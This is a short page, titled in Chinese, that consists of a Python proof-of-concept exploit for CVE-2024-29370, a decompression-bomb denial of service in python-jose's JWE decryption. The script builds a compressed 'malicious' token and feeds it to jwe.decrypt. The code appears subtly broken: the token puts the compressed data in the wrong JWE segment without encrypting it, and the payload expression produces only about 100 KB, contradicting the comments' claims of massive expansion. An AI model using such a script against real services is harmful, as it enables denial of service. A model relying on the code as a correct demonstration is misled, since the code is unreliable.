CVE-2024-29370 python-jose JWE解密拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2024-29370 PoC - python-jose JWE Decompression DoS This PoC demonstrates the decompression bomb vulnerability in python-jose 3.3.0 """ from jose import jwe import base64 import zlib import json def create_decompression_bomb(): """ Create a malicious JWE token with high compression ratio The decompressed content can be extremely large (zip bomb style) """ # Create a small payload that expands massively when decompressed # Using repeated patterns that compress extremely well small_payload = b'{"data": "' + b'A' * 100000 + b'"}' * 10 # Compress the payload using DEFLATE compressed = zlib.compress(small_payload, level=9) # Create JWE structure with the compressed content # This follows the JWE standard format jwe_header = { "alg": "A128KW", "enc": "A128CBC-HS256", "zip": "DEF" # Enable compression } # Encode header header_b64 = base64.urlsafe_b64encode( json.dumps(jwe_header).encode() ).decode().rstrip('=') # The compressed content becomes the JWE ciphertext ciphertext_b64 = base64.urlsafe_b64encode(compressed).decode().rstrip('=') # Create the JWE token format jwe_token = f"{header_b64}....{ciphertext_b64}" return jwe_token def exploit(target_token): """ Attempt to decrypt the malicious JWE token This will cause high memory/CPU usage """ try: # This call may hang or crash due to decompression bomb plaintext = jwe.decrypt(target_token, 'secret-key') return plaintext except Exception as e: return f"Error: {e}" if __name__ == "__main__": print("[*] Generating malicious JWE token for CVE-2024-29370") bomb_token = create_decompression_bomb() print(f"[*] Token length: {len(bomb_token)} bytes") print("[*] Attempting to decrypt (may cause DoS)...") result = exploit(bomb_token) print(f"[*] Result: {result}")